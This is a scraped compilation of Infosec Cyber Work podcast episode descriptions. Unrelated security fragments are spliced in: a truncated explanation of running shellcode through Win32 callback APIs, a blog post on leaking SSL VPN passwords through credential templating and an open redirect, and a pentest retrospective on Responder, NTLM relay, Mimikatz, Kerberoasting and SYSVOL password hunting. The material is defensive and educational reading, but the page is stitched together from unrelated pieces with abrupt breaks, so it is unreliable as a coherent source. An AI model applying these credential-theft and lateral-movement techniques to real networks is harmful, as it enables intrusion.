Whether you’re looking for first-time work in the cybersecurity field, still studying the basics or considering a career change, you might feel overwhelmed with choices. How do you know you have the right knowledge? How do you make yourself stand out in the resume pile? How do you get jobs that require experience without having any experience?
Join a panel of past Cyber Work Podcast guests including Gene Yoo, CEO of Resecurity, and the expert brought in by Sony to triage the 2014 hack; Mari Galloway, co-founder of Women’s Society of Cyberjutsu and Victor “Vic” Malloy, General Manager, CyberTexas.
They provide top-notch cybersecurity career advice for novices, including questions from Cyber Work Live viewers.
0:00 - Intro 3:38 - I'm tech-savvy. Where do I begin? 10:55 - Figuring out the field for you 19:16 - Returning to cybersecurity at 68 23:30 - Finding a cybersecurity mentor 29:39 - Non-technical roles in the industry 36:21 - Breaking into the industry 43:46 - Standout resume and interview 51:31 - Is a certification necessary? 56:50 - Related skills beginners should have 1:04:35 - Outro
This episode was recorded live on March 25, 2021. Want to join the next Cyber Work Live and get your career questions answered? See upcoming events here: https://www.infosecinstitute.com/events/
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10.
Analyzing an API
For example, let’s take the function EnumWindows from user32.dll. The first parameter lpEnumFunc is a pointer to a callback function of type WNDENUMPROC.
This episode we welcome back Emily Miller of Mocana to discuss infrastructure security! We discuss the water supply hack in Oldsmar, Fla., the state of the nation’s cybersecurity infrastructure and brainstorm a TikTok musical that will make infrastructure security the next Hamilton!
0:00 - Intro 3:02 - The last two years 5:54 - The impact of COVID 10:10 - The Florida hack 15:50 - Scope and scale of safety systems 18:50 - State and local government responses 23:20 - Logistical issues of security for infrastructure 26:45 - Ideal solutions to security 31:33 - How to improve infrastructure security 39:42 - Aiming toward state and local government 43:20 - Skills to learn for this work 48:13 - Future proofing this role 52:54 - Work and upcoming projects 55:55 - Outro
Miller is the Vice President of Critical Infrastructure and National Security with Mocana Corporation. Miller has over 15 years of experience protecting our nation’s critical infrastructure in both physical and cybersecurity, focusing on control systems, industrial IoT and other operational technology. Prior to joining Mocana, Miller was a federal employee with the Department of Homeland Security’s Industrial Control Systems Cyber Emergency Response Team (ICS-CERT).
On our previous episode back in early 2019, Miller and I talked about IoT security and infrastructure security, and how strengthening IoT and the security systems of our electrical, water and internet infrastructures isn’t just good business, it’s saving lives.
In the last two years, these issues have become even more noticeable and pronounced. Earlier this year, hackers were able to break into the network of a water purification system in a small town in Florida. By changing cleaning and purification levels in the town’s water supply, they could have realistically poisoned the whole town. Miller and I will be discussing not only how to address the problems we have now, but to help the new generation of cybersecurity professionals lead the charge to reverse a 50+ year trend of neglect against our country’s vital infrastructure, from power grids to roads.
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
This episode we chat with Jackie Olshack, a project management professional, about the role of project management in cybersecurity. We break down the specific functions of some major project management certifications, discuss things you can do tonight to start your project management training and hear why every security breach story on CNN is a cause for reflection.
0:00 - Intro 3:09 - Getting into cybersecurity project management 4:30 - What does a cybersecurity project manager do? 5:56 - Identity access management 8:35 - Average day for a project manager 9:57 - Managing project resources 11:36 - Getting into project management 12:54 - What happens without a project manager? 14:30 - Highs and lows of the job 17:22 - Training needed for the role 20:18 - What is identity access management? 24:12 - Preferred job experiences 28:02 - Interests and skills to succeed 31:17 - Where do I begin with tech lingo? 33:18 - What can I do to change careers? 35:00 - Has remote work changed workflow? 35:55 - Outro
Jackie Olshack worked almost 20 years as legal secretary/paralegal for multiple patent corporate law firms. In the late 1990s, she began to recognize it was becoming harder to break the ceiling on her $58,000 salary as more and more attorneys were typing their own documents, managing their own calendars and making their own travel arrangements, putting the future of her career in jeopardy. After some introspection, she decided to go back to college and pursue a science degree with plans to go to law school to become a patent attorney — but couldn’t get her LSAT higher to get into even a fourth-tier law school. She now proudly thanks all the law schools that turned her down, preventing the dreaded $150,000-$200,000 law school debt she would have incurred. She is now an analytical, top performing SAFe trained senior project management professional with 14+ years of experience managing and implementing IT programs and projects successfully.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Today we're talking about security awareness, specifically about the role of a security awareness manager, with Tiffany Franklin of Optiv. We talk about the importance of C-suite buy-in to a security awareness program, how to create challenging phishing simulators without making employees feel like victims of a gotcha attack and how being a fifth-grade math teacher can make you a better security awareness manager.
0:00 - Intro 2:13 - Getting into cybersecurity 3:57 - Instructional design and technology 4:58 - Primary responsibilities in her role 6:38 - Security awareness work 9:40 - What is the division of work? 11:55 - Skills needed for this role 15:04 - Helping people when they fail 17:12 - Daily tasks 18:15 - Highs and lows of the job 22:00 - COVID phishing emails 22:40 - GoDaddy phishing and ethics 26:20 - Creating security awareness campaigns 31:14 - Optimal combo of tech and savvy 34:20 - How to get into cybersecurity 37:10 - Outro
Tiffany Franklin has over 13 years’ experience as a learning and development professional and is currently a Manager of Cybersecurity Education at Optiv. Tiffany and her team develop solutions that address the unique challenges of global organizations facing a wide array of cybersecurity risks, including security awareness training program courses, simulated phishing attacks, and training reinforcement materials. She has a background in education and has a Masters in Instructional Design & Technology.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Diana Kelley of The Analyst Syndicate is on the podcast to chat about her 25-year-long career in security. She touches on artificial intelligence and machine learning ethics, sneaking into DARPA in the '70s and much more.
0:00 - Intro 3:14 - Getting into cybersecurity 11:51 - Cybersecurity changes in the past 25 years 15:34 - Choosing exciting cybersecurity projects 19:49 - What is The Analyst Syndicate? 23:00 - Editorial process at The Analyst Syndicate 26:26 - Changes in security from the pandemic 32:22 - Combating fatigue at home 34:35 - Digital transformation 39:25 - Bringing more women into cybersecurity 43:08 - Tips for hiring managers 46:16 - Using AI and ML ethically 51:50 - Tips to get into cybersecurity 55:15 - Kelley's next projects 56:18 - Learn more about Kelley 57:08 - Outro
Diana Kelley’s security career spans over 30 years. She is co-founder and CTO of SecurityCurve and donates much of her time to volunteer work in the cybersecurity community, including serving on the ACM Ethics & Plagiarism Committee, as CTO and board member at Sightline Security, board member and Inclusion Working Group champion at WiCyS, cybersecurity committee advisor at CompTIA, Advisory Council, Bartlett College of Science and Mathematics, Bridgewater State University and RSAC US Program Committee. Kelley produces the #MyCyberWhy series and is the host of BrightTALK’s The (Security) Balancing Act and co-host of the Your Everyday Cyber podcast. She is also a principal consulting analyst at TechVision Research and a member of The Analyst Syndicate. She was the Cybersecurity Field CTO for Microsoft, global executive security advisor at IBM Security, GM at Symantec, VP at Burton Group (now Gartner) and a manager at KPMG. She is a popular keynote speaker, the co-author of the books "Practical Cybersecurity Architecture" and "Cryptographic Libraries for Developers," has been a lecturer at Boston College's Masters program in cybersecurity, the EWF 2020 Executive of the Year and one of Cybersecurity Ventures 100 Fascinating Females Fighting Cybercrime.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Elie Bursztein joins us on today’s episode to talk all about his role as chief research lead for anti-abuse at Google! Along with Infosec Founder Jack Koziol and Cyber Work Podcast host Chris Sienko, they discuss the difference between the practices of security and anti-abuse, the difference between protecting Google the company and Gmail the product, and the aspects of security and anti-abuse that AI will never be able to do.
0:00 - Intro 2:35 - Starting a career in cybersecurity 12:57 - Entering the industry today 19:09 - Career progression 42:18 - Tech and academia collaboration for anti-abuse research 52:26 - Getting hired in anti-abuse and cybersecurity 1:01:09 - Future of machine learning as AI hacking 1:16:26 - Outro
Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Click the link below to get started.
Elie Bursztein leads the Security and Anti-Abuse Research team at Google. He focuses on deep learning and cryptography research, and among many other accomplishments, broke SHA-1. His website, elie.net, is packed with informative articles and online talks he’s given over the years, a veritable master-class for any cybersecurity aspirants. He also describes himself as a wearer of berets and a purveyor of magic tricks in his spare time.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Last year I got this idea that I should attempt to pay for my holidays to Japan by hunting for bounties in security appliances while in the plane. A full 10 hours of uninterrupted focus on one solution seemed like it should yield interesting results. So I started reverse engineering the Firewall of a relatively common brand which has a private bug bounty. Due to this reason, I won’t be giving out the full details of the issue I discovered, but I find the vulnerability to be quite interesting and worth discussing. So I attempt to do this here without breaching any disclosure terms…
This happened relatively shortly after I had discovered some issues in Sonicwall appliances (there may well be more of them discussed here in the short future), so I was still investigating SSL VPNs and searching for ways to compromise them.
One of the features that most SSL VPNs offer is the ability to provide single sign-on for internal applications once a user is authenticated to the VPN device. Unless a fancier protocol like OAuth2 or SAML is used, a VPN admin might be required to specify a URL that allows the user to “seamlessly” authenticate to the back-end server. This might look like the following:
When the user attempts to access the back-end application, a templating engine will automatically replace the username and password with the user’s data and thus authenticate successfully with the back-end server.
In other cases, the back-end server might accept Basic, Digest, NTLM or other types of authentication, which could also be configured by a VPN admin.
The first vulnerability I discovered was a pretty straightforward stack-based buffer overflow in the way the SSL VPN parsed the Negotiate authentication header. However, it was only exploitable from a back-end server. Worst case scenario, a server administrator (or any person who could tamper with internal communications) could potentially compromise the SSL VPN device. I wasn’t particularly enthusiastic about this finding as in practice, I didn’t really see many cases where I’d be able to exploit it. But I did continue researching how the device parsed these authentication headers in order to achieve single sign-on.
It turns out that the device did a pretty simple pattern match and replace on the {{username}} and {{password}} strings that were detected in the HTTP request. Where it got interesting, is when I noticed that these patterns were also replaced in the headers of the server’s Response for some reason. Not quite sure whether there is a legitimate reason to do so, or if this is an oversight, but I was wondering whether there was a way to exploit this in order to recover a user’s password.
Essentially, as an attacker we would need to find a way to get a specific pattern in the headers of the HTTP response from an application which is accessed through the VPN (even if no SSO is configured for it by the way). Unfortunately, I couldn’t find a generic way of doing so, but it is possible if one of the back-end applications is vulnerable to an insecure redirect.
When exploiting such a vulnerability, an attacker has to convince a user to click on a malicious link which will redirect the user to another location. Unless it is done in JavaScript, the redirection is generally done with a Location HTTP header containing the new location to visit.
This is very convenient in our case, as it allows us to recover the user’s VPN password as long as we can achieve the two following things:
Know the location of an insecure redirect on any application accessed through the VPN
Convince an authenticated user to visit a maliciously prepared URL
For instance, if I can get a user to click on the following link:
The user will end up visiting SCRT’s website while providing his or her username and password in the URL, since the browser will see the following response from the application.
HTTP/1.1 302 Found
Location: https://www.scrt.ch/?user=USER&password=Password01
Obviously this is not the most serious vulnerability to be discovered but I thought it was quite different from what I usually see and worth presenting quickly. There might be other devices out there vulnerable to similar flaws or templating issues.
Unfortunately, it’s only after I did the research and reported the various issues that I noticed that the bug bounty program was no longer issuing any rewards, so I wasn’t even close to paying for my trip.
CompTIA’s Security+, the most popular cybersecurity certification in the world, is getting an overhaul for 2021! The updated exam (from SY0-501 to SY0-601) re-aligns the certification to match the most in-demand entry-level cybersecurity skills and trends of 2021.
Get insights into the changes directly from the source, Patrick Lane, Director of Products at CompTIA, as he explains how Security+ is evolving to remain the “go-to” certification for anyone trying to break into cybersecurity.
0:00 - Intro 4:10 - What is the CompTIA Security+ certification? 5:05 - Security+ baseline technical skills 16:00 - Security+ helps solve an industry problem 21:35 - Security+ job roles 31:45 - Job role skills and exam release 37:35 - CompITA Cybersecurity Career Pathway 47:27 - SY0-601 vs SY0-501: 6 big changes 52:10 - Security+ exam details 56:48- Live Q&A 1:02:13 - Outro
Patrick directs IT workforce skills certifications for CompTIA, including Security+, PenTest+, CySA+ and CASP+. He assisted the U.S. National Cybersecurity Alliance (NCSA) to create the “Lock Down Your Login” campaign to promote multi-factor authentication nationwide. He has implemented a wide variety of IT projects, including an intranet and help desk for 11,000 end users. Patrick is an Armed Forces Communications and Electronics Association (AFCEA) lifetime member, born and raised on U.S. military bases, and has authored and co-authored multiple books, including “Hack Proofing Linux: A Guide to Open Source Security.”
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Learn how mentors in the cybersecurity community can help launch your career on today’s episode featuring Mike Gentile, the Founder and CEO of CISOSHARE. Mike discusses the CyberForward program, which creates a mentorship and support system for new students of cybersecurity — often those with diverse cultural or economic backgrounds! CyberForward addresses not just skills training, but quality of life issues that might prevent entrance to the security field. If you’re feeling blocked and unsure how to enter the industry, you’ll really want to hear this episode!
0:00 - Intro 2:24 - Starting a career in cybersecurity 5:39 - Creating CISOHandbook.com 7:35 - What is CISOSHARE? 9:38 - What is CyberForward? 11:15 - Thoughts on the cybersecurity skills gap 17:40 - Mentoring students through CyberForward 25:13 - The training value system is broken 29:33 - Creating a network of support 32:44 - Helping the “beaten down” break through 36:52 - What’s next for CyberForward? 39:15 - Advice for getting started in cybersecurity 43:28 - Outro
Mike Gentile is the Founder, President and CEO of CISOSHARE, headquartered in San Clemente, CA. He has led the company since inception to become a global leader in security program services and solutions. Initially an experiment, the CISOSHARE culture centers around learning and teaching to make the confusing security discipline understandable.
In 2019, Mike founded CyberForward Academy by CISOSHARE using this learning and teaching culture to address both the cybersecurity resource shortage and the livable wage gap issues felt in many communities. This partner-enabled professional development program identifies and then rapidly develops effective job-ready cybersecurity professionals.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
What does a malware analyst do? Find out on today’s episode featuring Dr. Richard Ford, Chief Technology Officer of Cyren. Richard talks about breaking into the field, whether a computer science degree is or isn’t essential for the role, and an early program he wrote to brag about his high score to his classmates!
0:00 - Intro 2:30 - Richard’s cybersecurity origin story 6:07 - Being an IBM anti-malware researcher in the 90s 9:18 - How malware has evolved 11:27 - Major career milestones 18:14 - Two types of malware analysts 21:42 - How to get hired as an entry-level analyst 25:45 - Day-to-day malware analyst tasks 29:40 - Transitioning to an analyst role without any experience 34:30 - What does Cyren do? 37:25 - Outro
Dr. Richard Ford is the Chief Technology Officer of Cyren. He has over 25 years’ experience in computer security, working with both offensive and defensive technology solutions. During his career, Ford has held positions with Forcepoint, Virus Bulletin, IBM Research, Command Software Systems and NTT Verio. Dr. Ford has also worked in academia, having held an endowed chair in Computer Security, and worked as Head of the Computer Sciences and Cybersecurity Department at the Florida Institute of Technology. Ford holds a bachelor’s, master’s and D.Phil. in Physics from the University of Oxford. In addition to his work, he is an accomplished jazz flutist and instrument rated private pilot.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
We’re making cybersecurity training fun with today’s episode, which is all about gamification! Jessica Gulick of Katczy discusses the Wicked6 Cyber Games, the Women’s Society of Cyberjutsu, and the ways in which cyber games could rise to the ranks of other televised esports.
0:00 - Intro 2:16 - Starting in cybersecurity after 9/11 3:28 - Major career milestones so far 7:08 - Day to day duties as a CEO 11:00 - Cybersecurity burnout and ongoing learning 13:16 - Let’s dig into gamification! 19:11 - How to design deeper gamification 22:32 - Selling gamification to leadership 28:45 - Wiked6 Cyber Games 35:10 - Gamified security awareness campaigns 37:42 - Can gamification help grow the talent panel 42:05 - Working with the Women’s Society of Cyberjutsu 49:58 - What’s next for these gamified cyber events? 52:20 - Outro
Jessica Gulick is CEO of Katzcy, a woman-owned growth firm specializing in cybersecurity marketing and cyber games. She is also President of the Board at the Women’s Society of Cyberjutsu, a 501c3 dedicated to advancing women in cyber careers. Jessica is a 20-year veteran in the cybersecurity industry and a CISSP.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
From working the help desk to becoming FireEye’s Chief Security Strategist and founding his own company Kolide, Jason Meller has a wealth of experience to share about moving up the cybersecurity ladder. On today’s episode, he discusses his security journey, including working one of the best help desk jobs of all time, bluescreening his friends in the Wild West days of the Internet and sharing advice for up-and-coming cybersecurity professionals.
0:00 - Intro 2:22 - Pixar movie Soul and finding his "spark" 6:40 - The Wild West of cybersecurity 7:56 - Working at the best help desk ever 12:13 - Becoming a cyber threat analyst 18:02 - The importance of soft skills 21:23 - Becoming a chief security strategist at FireEye 24:38 - Working solo vs in a team 25:55 - Adding a new superpower with your talents 28:03 - Should you leave your job? 31:10 - Exploring the psychology of security 36:34 - Security veterans and mentorship 40:30 - What is Kolide? 44:30 - The new work/life balance of security 46:40 - Outro
Jason Meller is the CEO and founder of Kolide. Jason has dedicated his career to building products and tools that enable security experts to successfully defend western interests from sophisticated and organized global cyber threats. He started his security and product career at GE's elite computer incident response team, led by Richard Bejtlich (the father of modern network security monitoring). From there, Jason moved to the legendary Mandiant corporation (acquired by FireEye) quickly working his way up from an entry level analyst position to becoming the Chief Security Strategist. As Chief Security Strategist at FireEye, Jason was responsible for rapidly building products and services with an engineering strike team to facilitate and grow high-profile partnerships and key strategic initiatives.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
NetOps, SecOps and CloudOps — you’ll learn about it all on today’s episode featuring Raju Chekuri, CEO of NetEnrich. Raju shares his career journey, discusses his work helping new tech and cybersecurity startups, and explains why clinging blindly to a five-year plan can be a recipe for disaster.
0:00 - Intro 2:12 - Getting started in cybersecurity 3:38 - How the security landscape has changed 8:27 - Complexity and scope of cybersecurity 10:05 - 16+ years at NetEnrich 14:30 - Going beyond governance to do it right 17:30 - Strategies for upping ITOps along with business 22:50 - Examples of companies doing it right 24:55 - Helping startups become successful 30:45 - Keys to a solid business plan 33:42 - Mentorships in security and startups 36:25 - Being an entrepreneur & humanitarian 40:15 - What's next for NetEnrich? 46:18 - Outro
Raju founded NetEnrich in 2004 after a successful IT career as an entrepreneur, visionary and business leader in Silicon Valley. He has led the company’s growth as SaaS for digital operations while innovating for AIOps and cybersecurity solutions. Raju is currently the chairman of the board at OpsRamp, a spin-off from NetEnrich. Previously, he founded Velio Communications, Inc., and led it to its acquisition by LSI Logic and Rambus in 2003. Raju earned an MBA at St. Mary’s College of California and a Bachelor of Technology at Kakatiya University.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Learn about different cybersecurity roles and career paths in this wide-ranging conversation with today’s guest Tyler Cohen Wood. Tyler discusses working as a senior intelligence officer for the Defense Intelligence Agency (DIA), overseeing cyber risk for AT&T and writing her book Catching the Catfishers. We talk about online privacy, implementing complex cybersecurity systems, healthcare security shortcomings in the age of COVID — and her blue-haired, pre-cyber years working in the record industry!
0:00 - Intro 2:20 - Getting into IT & security 4:20 - Digital forensics & incident response 6:18 - Moving up the cybersecurity ladder 9:40 - Working with complex systems 12:57 - Director of Cyber Risk at AT&T 15:37 - Becoming a cybersecurity consultant 22:30 - Sharing too much personal info 26:20 - Work from home privacy & security 33:18 - Cybersecurity career tips 37:33 - Cybersecurity hiring & diversity 39:51 - Healthcare privacy & HIPAA changes 48:53 - Future career plans 50:15 - Outro
Tyler Cohen Wood is a cyber-authority with 18+ years of highly technical experience. As a cyber intelligence and national security expert, as well as three-time author and public speaker, Tyler is relied on for her wealth of knowledge and unique insights. She served with the DIA as a senior intelligence officer where she developed highly technical cyber solutions and made recommendations to significantly develop and change critical cyber policies and directives, which affected current and future intelligence community programs. She has helped the White House, DoD, federal law enforcement and the intel community thwart many cyberthreats to the U.S. She is the author of the book Catching the Catfishers.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Learn all about Kubernetes, its possible misconfigurations and vulnerabilities, and how it applies to cloud security on today’s episode, featuring Michael Foster, a Cloud Native Advocate at StackRox. Michael discusses intrinsic Kubernetes security issues compared with those that come from improper use, the work of a Cloud Security Advocate, his time in the Chicago Cubs and more.
0:00 Intro 2:03 Getting started in tech 4:09 From Cubs to security 8:10 What is Kubernetes? 10:45 Kubernetes issues & CNCF roadmap 14:50 Types of vulnerabilities 19:10 Kubernetes checklist and wishlist 23:30 Role and duties at StackRox 25:30 Cloud security skills & careers 31:30 Future of Kubernetes 33:28 What is StackRox? 35:35 Outro
Michael Foster is a passionate tech enthusiast and open-source advocate with a multidisciplinary background. As a Cloud Native Advocate at StackRox, Michael understands the importance of building an inclusive community. Michael embraces all forms of automation, focusing on Kubernetes security, DevOps, and infrastructure as code. He is continually working to bridge the gap between tech and business and focus on sustainable solutions.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
We’re going back into the world of digital forensics careers with today’s guest, Tyler Hatch of DFI Forensics! Tyler tells us about moving from being a lawyer into the field of digital forensics, key traits of great forensics professionals and how to prove that incriminating evidence on a defendant’s laptop isn’t always what it seems.
0:00 Intro 2:46 Getting started in tech 5:24 Lawyer vs forensics 12:11 Staff and cases 18:45 Responsibilities and tasks 24:10 Digital forensics files podcast 27:45 Getting hired 30:40 Covid-19 work impact 33:16 Future of forensics 40:17 Breaking into forensics 42:43 Outro
Following a six-year legal career that included representing clients in legal proceedings in small claims, the Supreme Court and a variety of administrative tribunals in B.C., Tyler found his way into the fascinating world of digital forensics and never looked back.
Tyler is a Certified Computer Forensics Examiner (CCFE) and a Certified Mobile Forensics Examiner (CMFE) and is always training and receiving education to further his knowledge and understanding of computer forensics, IT forensics, digital forensics, cybersecurity and incident response. Tyler formed DFI Forensics in July 2018 and is the host of the “Digital Forensics Files” podcast. He is also a frequent contributor of written articles to various legal and digital forensics publications, including AdvocateDaily.com, LawyersDaily.ca, eForensics Magazine and Digital Forensics Magazine.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
To many people, pentesting (or hacking in a broader sense) is a dark art mastered by some and poorly understood by most. It has evolved quite substantially throughout the years, guided by new vulnerabilities, changing behaviours and maybe most importantly the development and release of new tools, be they offensive or defensive.
In this blog post, I wanted to present how pentests have evolved since I started my pentesting journey some 12 years ago. Note that none of this is backed by hard data, but on my own feelings after seeing a great number of tests performed throughout the years.
When it comes to the types of pentests we perform, we see that while standard internal or external tests are performed by companies who have never or rarely had any security testing done beforehand, seasoned companies tend to ask for more specific testing of applications, systems or processes.
Red or Purple teaming approaches are preferred in order to establish not only which vulnerabilities are present, but also determine whether the defensive efforts are properly prioritized and implemented.
A lot of testing has now also shifted to the Cloud, and although some aspects of these tests remain similar, there are a number of subtleties provided by each Cloud provider that need to be considered.
In this post, I’ll have a look at how internal pentests have evolved throughout the years.
Internal pentests
When I started pentesting, the MS08-067 (Conficker) vulnerability had just been published and for some (long) time afterwards, compromising a company was all about discovering which system hadn’t been patched, exploiting it with Metasploit, cracking the LM or NTLM hash of the local administrator and reusing it throughout the company to compromise all systems.
Even though we still occasionally discover systems vulnerable to MS08-067, the “entry point” into the network has changed throughout the years. For some time, JBoss and Tomcat servers were the holy grail of pentesters, as they tended to be installed with an administration interface which is often poorly protected (if protected at all) which allowed to deploy new applications and thus run arbitrary commands on the server.
A happy sight for a pentester
In most cases these commands were run with SYSTEM privileges allowing for a full compromise. This latter fact is an issue that we still routinely discover, where applications run with elevated privileges on a server for no particular reason apart from the fact that it’s easy to do! I’d recommend having a look at Group-Managed Service Accounts to attempt to avoid this.
Thankfully, the more recent versions of these application servers either do not install a management interface or simply do not provide any default credentials any more, which limits the ways in which they can be compromised, although unauthenticated JMX or Java RMI interfaces can often still be exploited with tools such as ysoserial.
Sometimes it feels like stealing candy from a child
A little more recently, MS17-010 became the new norm in order to compromise a workstation or server, and very much like MS08-067, it can often still be exploited nowadays, despite the patch being available for over 3 years. The only “difficulty” is to find that hidden server that hasn’t been patched in years but can’t be decommissioned because it’s “too sensitive”. This might come in as a surprise to some, but hackers rarely spend much time on the servers you just installed and hardened. Instead, they will search for the old ones which you’re trying to forget about!
We’re not going through the front door, but around it!
The “entry point” or first vulnerability has certainly changed multiple times throughout the years, but the concept of compromising the local administrator account and reusing it elsewhere stayed true for a long time. However, the fact of cracking the password was never really required, as pass-the-hash techniques could be abused instead. The concept of actually cracking a NTLM hash and recovering the clear-text password is mostly used to generate password statistics nowadays.
One of the more impactful developments has been the adoption of LAPS, or similar password management tools, which allow administrators to manage the local administrator passwords for all domain-joined computers. This completely prevents the previously discussed lateral movements and is probably the single biggest improvement we have seen over the years, although for it to really be efficient, all other local accounts must be removed!
Due to this, it is no longer interesting to recover the local accounts after compromising a server. Instead, tools such as Mimikatz are used to recover the clear-text credentials (or NTLM hash) of connected users directly from the machine’s memory. This allows for the compromise of domain users that have recently authenticated to the machine. Compromising a domain administrator account is therefore achieved by compromising any server (or workstation…) where such an account is logged on.
That’s a nice password, good thing we don’t need to crack it!
Even though Microsoft has recommended for years that these accounts be used as little as possible, it is still a relatively common practice to use domain administrator accounts for routine administration purposes or even for service accounts. It’s just so much simpler that way!
When it comes to discovering the machines used by domain administrators and how to compromise them, the development of tools such as BloodHound have shown that it is not always necessary to exploit an actual vulnerability to get there, but simply abuse a (mis)configuration of the Active Directory. Overly broad permissions on AD objects can rapidly be exploited by attackers to elevate privileges within a domain.
Let’s find a path to domain admin
Kerberoasting is another fun technique which is commonly used nowadays as it allows any domain user to essentially recover a non-replayable hash of accounts which have a Service Principal Name (usually service accounts). This is one of the cases where cracking a hash is actually necessary. Thankfully for attackers, service accounts are often ancient and set with a password which never expires. In many cases it is the name of the service followed by the year the service was installed. These passwords will take seconds to break and often grant extensive access to the information system.
Nevertheless, BloodHound and Kerberoasting attacks still require an initial domain account to be used. Nowadays, it is often much easier to compromise an account rather than compromising a workstation or server.
For some time, a simple domain account was sufficient to compromise high privileged credentials in GPPs as these were encrypted in a reversible format. Even though this has now been “patched” (essentially by removing the vulnerable feature) it is always worth grepping for cpassw in SYSVOL, just in case.
But how do we actually compromise this initial account?
Responder is a fantastic tool which allows to recover a non-replayable hash from computers that still use legacy protocols such as LLMNR and NBNS for name resolution. The hash can be recovered by forcing the vulnerable system to authenticate to the attacker’s one. At this stage, the hash could potentially be broken (probably because the password is Welcome2020) but it doesn’t actually need to be, since NTLM is vulnerable to relay attacks. Instead of recovering the account hash, an attacker can simply the authentication to another system with the help of tools such as ntlmrelayx from impacket.
Responder also has a Powershell counterpart named Inveigh
The impact of such attacks depends on the privileges of the compromised account. In the worst case scenario, a domain administrator account might be compromised in this fashion to directly execute arbitrary commands on the domain controller.
Internal pentests nowadays often revolve around this idea of forcing an account to authenticate to the attacker’s machine. This can be done by abusing LLMNR or NBNS, but it could also be done by simply inserting an image or iframe in unencrypted HTTP traffic, the end result would be similar. The authentication is then relayed to an appropriate system depending on the account privileges, and from there, privilege escalation is achieved through misconfigured Active Directory objects.
Pilfering the Active Directory for these misconfigurations has become somewhat of an art and there are several combination of issues which can potentially be abused to execute code on a targeted machine if the appropriate credentials are “available” on the network. This article from last year presents several ways of abusing Kerberos delegation for example. Other simpler ways exist, such as searching for clear-text passwords in object descriptions which by default are available to all.
The “printer bug” can also be used in many cases to force a machine account to authenticate to an attacker’s machine. If the machine happens to have admin privileges on another machine (this is easy to discover with BloodHound for example), this gives instant access to the second machine with high privileges.
The current “meta” for internal pentests is to run Responder alongside ntlmrelay to gain initial access, and then replay credentials compromised with Mimikatz and abuse AD misconfigurations to compromise a domain administrator account. Obviously this is a bit of an oversimplification as there are still other vulnerabilities that can be exploited, but it is often the path of least resistance.
